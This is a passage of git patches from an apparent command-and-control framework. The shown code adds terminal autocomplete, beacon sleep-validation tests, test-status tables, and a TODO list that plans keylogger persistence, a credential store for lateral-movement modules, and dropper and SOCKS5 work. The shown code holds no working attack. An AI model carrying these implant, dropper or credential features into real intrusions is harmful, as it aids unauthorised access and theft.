args.socks_hostname else _resolve_ipv4(target_host, target_port) + expect_statuses = _parse_expected_statuses(args.expect_status, args.no_status_check) + return StressConfig( + proxy_host=args.proxy_host, + proxy_port=args.proxy_port, + url=args.url, + scheme=scheme, + target_host=target_host, + target_port=target_port, + socks_host=socks_host, + path=path, + host_header=_host_header(target_host, target_port, scheme), + method=args.method, + requests=args.requests, + concurrency=args.concurrency, + timeout=args.timeout, + expect_statuses=expect_statuses, + read_limit=args.read_limit, + progress_every=max(args.progress_every, 0), + quiet=args.quiet, + ) + + +def main(argv: Iterable[str] | None = None) -> int: + args = parse_args(sys.argv[1:] if argv is None else argv) + if args.self_test: + return run_self_test() + config = config_from_args(args) + return 0 if run_stress(config) else 1 + + +if __name__ == "__main__": + raise SystemExit(main()) From 6a06b4eda366ed3b4117e2572999492a9cc9d25a Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sat, 9 May 2026 21:41:20 +0200 Subject: [PATCH 66/82] manual test --- C2Client/C2Client/TerminalPanel.py | 87 +++++++++++++++++-- .../tests/test_terminal_panel_dropper_arch.py | 35 +++++++- core | 2 +- docs/TEST_GAPS.md | 3 - docs/TEST_MATRIX.md | 6 +- docs/TEST_STATE.md | 8 +- docs/testing/manual-results.yaml | 28 +++++- ...amServerCommandPreparationServiceTests.cpp | 19 ++++ 8 files changed, 164 insertions(+), 24 deletions(-) diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index bf46774..19bb1d1 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -6,8 +6,8 @@ import subprocess from datetime import datetime from typing import Any -from PyQt6.QtCore import Qt, QEvent, QThread, QTimer, pyqtSignal, QObject -from PyQt6.QtGui import QStandardItem, QStandardItemModel, QShortcut, QTextCursor, QTextDocument +from PyQt6.QtCore import QPoint, Qt, QEvent, QThread, QTimer, pyqtSignal, QObject +from PyQt6.QtGui import QGuiApplication, QStandardItem, QStandardItemModel, QShortcut, QTextCursor, QTextDocument from PyQt6.QtWidgets import ( QCompleter, QHBoxLayout, @@ -594,10 +594,9 @@ def _listener_completion_values(listener: Any) -> list[str]: listener_hash = _safe_completion_token(_field(listener, "listener_hash")) if not listener_hash: return [] - values = [listener_hash] if len(listener_hash) > 8: - values.append(listener_hash[:8]) - return list(dict.fromkeys(values)) + return [listener_hash[:8]] + return [listener_hash] def _session_completion_values(session: Any) -> list[str]: @@ -1575,6 +1574,7 @@ def __init__(self, parent=None, grpcClient=None): self.codeCompleter.activated.connect(self.onActivated) self.setCompleter(self.codeCompleter) self.tabPressed.connect(self.nextCompletion) + self.textEdited.connect(self.scheduleCompletionPopup) def refreshCompleter(self, force=False): completionData = build_terminal_completer_data(self.grpcClient) @@ -1582,10 +1582,81 @@ def refreshCompleter(self, force=False): self.completionData = completionData self.codeCompleter.updateData(completionData) + def completionPrefix(self): + return self.text()[:self.cursorPosition()] + + def completionLookupPrefix(self): + prefix = self.completionPrefix() + stripped = prefix.strip() + if stripped and stripped == prefix and any(entry[0] == stripped and entry[1] for entry in self.completionData): + return prefix + " " + return prefix + + def openCompletionPopup(self): + popup = self.codeCompleter.popup() + width = max(self.width(), popup.sizeHintForColumn(0) + popup.verticalScrollBar().sizeHint().width() + 24) + popup.setMinimumWidth(width) + rect = self.rect() + rect.setWidth(width) + self.codeCompleter.complete(rect) + + visible_rows = min(max(self.codeCompleter.completionCount(), 1), self.codeCompleter.maxVisibleItems()) + row_height = max(popup.sizeHintForRow(0), popup.fontMetrics().height() + 6) + height = row_height * visible_rows + 2 * popup.frameWidth() + 4 + popup.resize(width, height) + popup.move(self.completionPopupPosition(popup)) + popup.show() + popup.raise_() + + def completionPopupPosition(self, popup): + below = self.mapToGlobal(QPoint(0, self.height())) + screen = QGuiApplication.screenAt(below) + if screen is None and self.window() and self.window().windowHandle(): + screen = self.window().windowHandle().screen() + if screen is None: + screen = QGuiApplication.primaryScreen() + if screen is None: + return below + + geometry = screen.availableGeometry() + x = min(max(below.x(), geometry.left()), max(geometry.left(), geometry.right() - popup.width() + 1)) + y = below.y() + if y + popup.height() > geometry.bottom() + 1: + above = self.mapToGlobal(QPoint(0, 0)).y() - popup.height() + if above >= geometry.top(): + y = above + else: + y = max(geometry.top(), geometry.bottom() - popup.height() + 1) + return QPoint(x, y) + + def showCompletionPopup(self, _text=None, allowEmpty=False): + prefix = self.completionLookupPrefix() + popup = self.codeCompleter.popup() + if not prefix.strip() and not allowEmpty: + popup.hide() + return False + + self.codeCompleter.setCompletionPrefix(prefix) + if self.codeCompleter.completionCount() <= 0: + popup.hide() + return False + + if self.codeCompleter.currentRow() < 0: + self.codeCompleter.setCurrentRow(0) + self.openCompletionPopup() + return True + + def scheduleCompletionPopup(self, _text=None): + QTimer.singleShot(0, self.showCompletionPopup) + def nextCompletion(self): - self.refreshCompleter() + popup = self.codeCompleter.popup() + if not popup.isVisible(): + self.showCompletionPopup(allowEmpty=True) + return + index = self.codeCompleter.currentIndex() - self.codeCompleter.popup().setCurrentIndex(index) + popup.setCurrentIndex(index) start = self.codeCompleter.currentRow() if not self.codeCompleter.setCurrentRow(start + 1): self.codeCompleter.setCurrentRow(0) @@ -1628,6 +1699,8 @@ class CodeCompleter(QCompleter): def __init__(self, data, parent=None): super().__init__(parent) self.setCaseSensitivity(Qt.CaseSensitivity.CaseInsensitive) + self.setCompletionMode(QCompleter.CompletionMode.PopupCompletion) + self.setMaxVisibleItems(8) self.setCompletionRole(CodeCompleter.MatchRole) self.createModel(data) diff --git a/C2Client/tests/test_terminal_panel_dropper_arch.py b/C2Client/tests/test_terminal_panel_dropper_arch.py index d356830..42fb845 100644 --- a/C2Client/tests/test_terminal_panel_dropper_arch.py +++ b/C2Client/tests/test_terminal_panel_dropper_arch.py @@ -294,13 +294,15 @@ def test_terminal_completer_uses_artifacts_listeners_sessions_and_dropper_module assert "artifact-1234567890" not in host_labels assert "artifact-123" not in host_labels artifact_children = _completion_children(host_children, "dropper.exe (artifact-123)") - listener_children = _completion_children(artifact_children, "listener-primary") + assert ("listener-primary", []) not in artifact_children + listener_children = _completion_children(artifact_children, "listener") assert ("", []) in listener_children dropper_children = _completion_children(completions, terminal_panel.DropperInstruction) module_children = _completion_children(dropper_children, "FakeDropper") - download_listener_children = _completion_children(module_children, "listener-primary") - beacon_listener_children = _completion_children(download_listener_children, "listener-primary") + assert ("listener-primary", []) not in module_children + download_listener_children = _completion_children(module_children, "listener") + beacon_listener_children = _completion_children(download_listener_children, "listener") arch_children = _completion_children(beacon_listener_children, "--arch") assert ("arm64", []) in arch_children @@ -335,9 +337,34 @@ def test_terminal_command_editor_tab_cycles_without_static_completer_reset(tmp_p editor = terminal_panel.CommandEditor(grpcClient=FakeGrpc()) qtbot.addWidget(editor) - assert editor.codeCompleter.setCurrentRow(0) is True + editor.nextCompletion() + assert editor.codeCompleter.popup().isVisible() + assert editor.codeCompleter.currentRow() == 0 + editor.nextCompletion() assert editor.codeCompleter.currentRow() == 1 editor.nextCompletion() assert editor.codeCompleter.currentRow() == 2 + + +def test_terminal_command_editor_opens_completer_while_typing(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + editor = terminal_panel.CommandEditor(grpcClient=FakeGrpc()) + qtbot.addWidget(editor) + editor.show() + editor.setFocus() + + qtbot.keyClicks(editor, "h") + qtbot.wait(10) + + assert editor.completionPrefix() == "h" + assert editor.codeCompleter.popup().isVisible() + assert editor.codeCompleter.currentRow() == 0 + + editor.setText("host") + editor.setCursorPosition(4) + assert editor.showCompletionPopup() + assert editor.completionPrefix() == "host" + assert editor.codeCompleter.completionPrefix() == "host " + assert editor.codeCompleter.currentCompletion() == "host dropper.exe(artifact-123)" diff --git a/core b/core index 5f63dad..de8ca4d 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 5f63dad23324bc2372611293f943fd833af629a7 +Subproject commit de8ca4deeb9c08a19caa86073eb08cb104847b00 diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index c01261e..bf1b8d9 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -25,9 +25,6 @@ _Generated by `scripts/generate-test-state.py`._ | partial | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | Render listeners table, restrict form fields, and preserve column sizing during refresh. | pass | untested | | partial | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | Render sessions table with stable column sizing, readable IPs, last seen, state, OS tooltip, and module count context. | pass | untested | | partial | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | Show base help text, command history, unified colors, and terminal autocomplete. | pass | untested | -| partial | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | Generate and host droppers with selected beacon arch and shellcode generator. | pass | untested | -| partial | high | `COMMON-END-001` | CommonCommands | end | Stop a beacon session cleanly. | pass | untested | -| partial | high | `COMMON-SLEEP-001` | CommonCommands | sleep | Change beacon sleep interval and reject invalid values clearly. | pass | untested | | partial | high | `LISTENER-SMB-001` | Listeners | SMB listener | Start SMB listener and route task/result traffic through named pipe transport. | untested | pass | | partial | high | `LISTENER-TCP-001` | Listeners | TCP listener | Start TCP listener and route task/result traffic. | untested | pass | | partial | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | Resolve beacon binaries by target OS and arch for droppers and terminal operations. | pass | untested | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index 4a54115..eb41395 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -24,7 +24,7 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto+manual | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | client | n/a | any | n/a | pass | pass | | planned | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | client | n/a | n/a | n/a | n/a | n/a | | partial | auto+manual | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | client | n/a | n/a | n/a | pass | untested | -| partial | auto+manual | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | client | x64 | https | hosted | pass | untested | +| pass | auto+manual | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | client | x64 | https | hosted | pass | pass | | pass | auto+manual | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | client | n/a | n/a | n/a | pass | pass | | partial | auto+manual | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | client | n/a | any | n/a | pass | untested | | partial | auto+manual | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | client | n/a | any | scripts | pass | untested | @@ -35,12 +35,12 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | client | n/a | https | n/a | pass | untested | | pass | auto+manual | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | client | n/a | https | hosted | pass | pass | | partial | auto+manual | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | client | n/a | n/a | n/a | pass | untested | -| partial | auto+manual | high | `COMMON-END-001` | CommonCommands | end | any | any | any | n/a | pass | untested | +| pass | auto+manual | high | `COMMON-END-001` | CommonCommands | end | any | any | any | n/a | pass | pass | | pass | auto+manual | critical | `COMMON-HELP-001` | CommonCommands | help | any | any | any | command_specs | pass | pass | | pass | auto+manual | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | any | any | any | modules | pass | pass | | pass | auto+manual | high | `COMMON-LISTENER-001` | CommonCommands | listener | any | any | any | n/a | pass | pass | | pass | auto+manual | critical | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | any | any | any | modules | pass | pass | -| partial | auto+manual | high | `COMMON-SLEEP-001` | CommonCommands | sleep | any | any | any | n/a | pass | untested | +| pass | auto+manual | high | `COMMON-SLEEP-001` | CommonCommands | sleep | any | any | any | n/a | pass | pass | | pass | auto+manual | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | any | any | any | modules | pass | pass | | untested | auto+manual | medium | `LISTENER-DNS-001` | Listeners | DNS listener | any | any | dns | n/a | untested | untested | | blocked | auto+manual | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | any | any | github | n/a | untested | blocked | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index 323c96c..00f99be 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,10 +10,10 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 79 | +| pass | 82 | | fail | 0 | | blocked | 14 | -| partial | 17 | +| partial | 14 | | untested | 2 | | planned | 2 | @@ -32,8 +32,8 @@ _Generated by `scripts/generate-test-state.py`._ |---|---:|---:|---:|---:|---:|---:|---:| | Artifacts | 4 | 0 | 0 | 1 | 0 | 0 | 5 | | Beacon | 5 | 0 | 0 | 0 | 0 | 0 | 5 | -| C2Client | 10 | 0 | 0 | 10 | 0 | 1 | 21 | -| CommonCommands | 5 | 0 | 0 | 2 | 0 | 0 | 7 | +| C2Client | 11 | 0 | 0 | 9 | 0 | 1 | 21 | +| CommonCommands | 7 | 0 | 0 | 0 | 0 | 0 | 7 | | Listeners | 2 | 0 | 1 | 2 | 1 | 0 | 6 | | Modules | 39 | 0 | 12 | 0 | 0 | 1 | 52 | | Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 17549c3..b7366ec 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -62,8 +62,8 @@ results: date: "2026-05-08" build: "local-dev" tester: "max" - evidence: "Hosted the uploaded TXT artifact from Terminal using the copied artifact ID, then downloaded the hosted file from the browser. Host autocomplete now presents upload artifacts as name plus short hash and the command still resolves by name, short hash, or full hash." - notes: "Terminal host command works with artifact references and human-readable autocomplete." + evidence: "Hosted the uploaded TXT artifact from Terminal using the copied artifact ID, then downloaded the hosted file from the browser. Host autocomplete presents upload artifacts as name plus short hash, listener hashes as short hashes only, and the command still resolves by name, short hash, or full hash." + notes: "Terminal host command works with artifact references and compact human-readable autocomplete." - id: TEAMSERVER-HOSTED-ARTIFACTS-001 status: pass @@ -728,3 +728,27 @@ results: tester: "max" evidence: "scripts/socks5_stress_test.py --proxy-host 127.0.0.1 --proxy-port 1080 --url http://example.com/ --requests 300 --concurrency 25 --timeout 15 --expect-status 200 completed with 300 passed, 0 failed, HTTP 200:300, elapsed 9.46s, throughput 31.72 req/s, p50 775.9ms, p95 926.4ms, p99 1105.3ms." notes: "The stress tool resolves the target hostname locally to IPv4 by default because the current TeamServer SOCKS path supports IPv4 CONNECT but not SOCKS domain-name CONNECT." + + - id: COMMON-END-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Manual test on a live beacon: help end rendered CommandSpec help; end returned Success." + notes: "Covers common end command help and successful beacon termination command dispatch." + + - id: COMMON-SLEEP-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Manual test on a live beacon after rebuild: help sleep rendered CommandSpec help; sleep 0.01 returned 10ms; sleep 1 returned 1000ms; sleep 0 returned 0ms and is valid; invalid values such as sleep abc were retested after the validation fix and rejected clearly." + notes: "Covers accepted sleep intervals, zero sleep behavior, CommandSpec help rendering, and invalid value rejection." + + - id: C2CLIENT-TERMINAL-DROPPER-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Manual terminal dropper workflow validated: help/config/arch selection and generation/hosting flow work as expected from the Terminal tab." + notes: "Dropper module limitations remain outside the terminal workflow: PeInjectorSyscall injection fails without -p self, likely because the default target PID is not valid; PowershellWebDelivery does not currently work on the Windows 11 lab; other dropper modules were not tested." diff --git a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp index 96ca34c..58dede5 100644 --- a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp +++ b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp @@ -219,6 +219,25 @@ void testPrepareCommonCommand() assert(service.prepareMessage("sleep 0.5", message, true) == 0); assert(message.instruction() == SleepCmd); + C2Message zeroSleepMessage; + assert(service.prepareMessage("sleep 0", zeroSleepMessage, true) == 0); + assert(zeroSleepMessage.instruction() == SleepCmd); + + C2Message invalidSleepMessage; + assert(service.prepareMessage("sleep abc", invalidSleepMessage, true) == -1); + assert(invalidSleepMessage.instruction().empty()); + assert(invalidSleepMessage.returnvalue().find("Invalid sleep interval") != std::string::npos); + + C2Message partialSleepMessage; + assert(service.prepareMessage("sleep 1abc", partialSleepMessage, true) == -1); + assert(partialSleepMessage.instruction().empty()); + assert(partialSleepMessage.returnvalue().find("Invalid sleep interval") != std::string::npos); + + C2Message negativeSleepMessage; + assert(service.prepareMessage("sleep -1", negativeSleepMessage, true) == -1); + assert(negativeSleepMessage.instruction().empty()); + assert(negativeSleepMessage.returnvalue().find("Invalid sleep interval") != std::string::npos); + C2Message listenerMessage; assert(service.prepareMessage("listener start tcp 0.0.0.0 4444", listenerMessage, true) == 0); assert(listenerMessage.instruction() == ListenerCmd); From 2a68f24d0e38af32141bd402ce0904968f3d7e79 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 08:37:25 +0200 Subject: [PATCH 67/82] manual test --- C2Client/TODO.md | 33 ++++++++++++++++---------------- docs/TEST_GAPS.md | 2 +- docs/TEST_MATRIX.md | 2 +- docs/TEST_STATE.md | 6 +++--- docs/testing/manual-results.yaml | 8 ++++++++ 5 files changed, 30 insertions(+), 21 deletions(-) diff --git a/C2Client/TODO.md b/C2Client/TODO.md index f972459..67a1e70 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -22,20 +22,21 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 14 | [ ] | Ajouter un panneau details session | M | Fort | Vue laterale avec metadata, listeners associes, notes locales, dernieres commandes, boutons d'action contextuels. | | 15 | [x] | Ameliorer le graph | M | Moyen | Fait. Layout auto qui separe listeners/beacons/pivots, positions manuelles preservees, boutons Auto/Fit/+/- zoom, labels/tooltips, fond sombre et connecteurs recalcules. | | 16 | [ ] | Reduire la taille des artefacts `screenShot` | M | Moyen | Test reel: `desktop.bmp` genere environ 42 MB. Etudier PNG/JPEG cote module ou conversion TeamServer, option format/qualite, conservation du hash/sidecar et affichage clair dans `Artifacts`. | -| 17 | [ ] | Auditer `libSocks5` | M | Fort | Revue protocolaire et qualite d'implementation: handshake, `ATYP` supportes, erreurs SOCKS explicites, timeouts, fermeture sockets, concurrence, limites buffers, logs bruyants, tests IPv4/hostname/stress et risques de deadlock/EOF silencieux. | -| 18 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | -| 19 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | -| 20 | [x] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Fait. `ListCommands` expose le catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `listModule` affiche name/status dans la console, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Persistence/historique modules reportes aux items audit/historique. | -| 21 | [ ] | Persister `keyLogger` en artefact live | L | Fort | Ecrire chaque `followUp` dans un fichier `GeneratedArtifacts/keylogger/beacon`, nomme avec hostname + timestamp, visible dans `Artifacts` sans action `dump`; mettre a jour le sidecar/hash a chaque append et garder `stop` limite a l'arret du module. | -| 22 | [ ] | Supporter les hostnames SOCKS5 cote beacon | L | Tres fort | Accepter `ATYP=DName` dans `libSocks5`, transporter une destination typee TeamServer -> beacon, resoudre/connecter depuis le contexte beacon, garder IPv4 compatible, ajouter tests hostname/stress avec `scripts/socks5_stress_test.py --socks-hostname` et erreurs propres au lieu d'un EOF silencieux. | -| 23 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | -| 24 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | -| 25 | [ ] | Ajouter un credential store serveur pour les modules | XL | Tres fort | Store central cote TeamServer avec RPC list/search/add/update/delete, audit et masquage des secrets; ajouter un `credential_filter` aux CommandSpecs pour autocompleter les modules qui prennent des credentials (`psExec`, `wmiExec`, `winRm`, `dcomExec`, `spawnAs`, `makeToken`, etc.) sans exposer les mots de passe. | -| 26 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | -| 27 | [ ] | Ajouter `GetCommandStatus` / `ListCommandHistory` / `CancelCommand` | XL | Tres fort | Suivi propre des commandes queued/running/done/error/cancelled; utile pour console, assistant et workflows longs. | -| 28 | [ ] | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | -| 29 | [ ] | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | -| 30 | [ ] | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | +| 17 | [ ] | Remplacer l'autocomplete Terminal `QCompleter` | M | Fort | Le popup `QCompleter` est instable en cas multi-ecran/deplacement de fenetre: les donnees existent mais la liste n'est pas visible de facon fiable. Remplacer par une liste custom integree sous la barre Terminal, ancree dans le layout, avec navigation clavier, selection par Tab/Enter, et donnees statiques disponibles meme sans beacon. | +| 18 | [ ] | Auditer `libSocks5` | M | Fort | Revue protocolaire et qualite d'implementation: handshake, `ATYP` supportes, erreurs SOCKS explicites, timeouts, fermeture sockets, concurrence, limites buffers, logs bruyants, tests IPv4/hostname/stress et risques de deadlock/EOF silencieux. | +| 19 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | +| 20 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | +| 21 | [x] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Fait. `ListCommands` expose le catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `listModule` affiche name/status dans la console, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Persistence/historique modules reportes aux items audit/historique. | +| 22 | [ ] | Persister `keyLogger` en artefact live | L | Fort | Ecrire chaque `followUp` dans un fichier `GeneratedArtifacts/keylogger/beacon`, nomme avec hostname + timestamp, visible dans `Artifacts` sans action `dump`; mettre a jour le sidecar/hash a chaque append et garder `stop` limite a l'arret du module. | +| 23 | [ ] | Supporter les hostnames SOCKS5 cote beacon | L | Tres fort | Accepter `ATYP=DName` dans `libSocks5`, transporter une destination typee TeamServer -> beacon, resoudre/connecter depuis le contexte beacon, garder IPv4 compatible, ajouter tests hostname/stress avec `scripts/socks5_stress_test.py --socks-hostname` et erreurs propres au lieu d'un EOF silencieux. | +| 24 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | +| 25 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | +| 26 | [ ] | Ajouter un credential store serveur pour les modules | XL | Tres fort | Store central cote TeamServer avec RPC list/search/add/update/delete, audit et masquage des secrets; ajouter un `credential_filter` aux CommandSpecs pour autocompleter les modules qui prennent des credentials (`psExec`, `wmiExec`, `winRm`, `dcomExec`, `spawnAs`, `makeToken`, etc.) sans exposer les mots de passe. | +| 27 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | +| 28 | [ ] | Ajouter `GetCommandStatus` / `ListCommandHistory` / `CancelCommand` | XL | Tres fort | Suivi propre des commandes queued/running/done/error/cancelled; utile pour console, assistant et workflows longs. | +| 29 | [ ] | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | +| 30 | [ ] | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | +| 31 | [ ] | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | ## Details `.env` @@ -92,5 +93,5 @@ C2_SHELLCODE_MODULES_DIR= 1. Phase 1: items 1 a 8. Aucun changement proto, beaucoup d'UX gagnee vite. 2. Phase 2: items 9 a 16. Client plus productif, tables/console/graph vraiment exploitables. -3. Phase 3: items 17 a 24. Contrat client-server propre pour capabilities, commandes, erreurs, SOCKS5 et artefacts generes par flux. -4. Phase 4: items 25 a 30. Fonctionnalites operationnelles avancees, credential store serveur, audit et reduction du polling. +3. Phase 3: items 17 a 25. Contrat client-server propre pour capabilities, commandes, erreurs, SOCKS5 et artefacts generes par flux. +4. Phase 4: items 26 a 31. Fonctionnalites operationnelles avancees, credential store serveur, audit et reduction du polling. diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index bf1b8d9..8649ba2 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -5,6 +5,7 @@ _Generated by `scripts/generate-test-state.py`._ | Final | Priority | ID | Area | Feature | Scenario | Auto | Manual | |---|---|---|---|---|---|---|---| | blocked | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout. | n/a | blocked | +| blocked | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | Show base help text, command history, unified colors, and terminal autocomplete. | pass | blocked | | blocked | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | Resolve fixed chisel binary from Tools for beacon arch and manage chisel start/status/stop. | pass | blocked | | blocked | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | Load COFF object from Tools and execute with packed arguments. | pass | blocked | | blocked | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | Load kirbi ticket from UploadedArtifacts and apply it on Windows beacon. | pass | blocked | @@ -24,7 +25,6 @@ _Generated by `scripts/generate-test-state.py`._ | partial | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | List hooks with descriptions/tooltips, activation counts, and manual start using context snapshot. | pass | untested | | partial | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | Render listeners table, restrict form fields, and preserve column sizing during refresh. | pass | untested | | partial | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | Render sessions table with stable column sizing, readable IPs, last seen, state, OS tooltip, and module count context. | pass | untested | -| partial | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | Show base help text, command history, unified colors, and terminal autocomplete. | pass | untested | | partial | high | `LISTENER-SMB-001` | Listeners | SMB listener | Start SMB listener and route task/result traffic through named pipe transport. | untested | pass | | partial | high | `LISTENER-TCP-001` | Listeners | TCP listener | Start TCP listener and route task/result traffic. | untested | pass | | partial | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | Resolve beacon binaries by target OS and arch for droppers and terminal operations. | pass | untested | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index eb41395..c3c065e 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -34,7 +34,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | client | n/a | any | n/a | pass | untested | | partial | auto+manual | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | client | n/a | https | n/a | pass | untested | | pass | auto+manual | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | client | n/a | https | hosted | pass | pass | -| partial | auto+manual | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | client | n/a | n/a | n/a | pass | untested | +| blocked | auto+manual | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | client | n/a | n/a | n/a | pass | blocked | | pass | auto+manual | high | `COMMON-END-001` | CommonCommands | end | any | any | any | n/a | pass | pass | | pass | auto+manual | critical | `COMMON-HELP-001` | CommonCommands | help | any | any | any | command_specs | pass | pass | | pass | auto+manual | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | any | any | any | modules | pass | pass | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index 00f99be..e57a414 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -12,8 +12,8 @@ _Generated by `scripts/generate-test-state.py`._ |---|---:| | pass | 82 | | fail | 0 | -| blocked | 14 | -| partial | 14 | +| 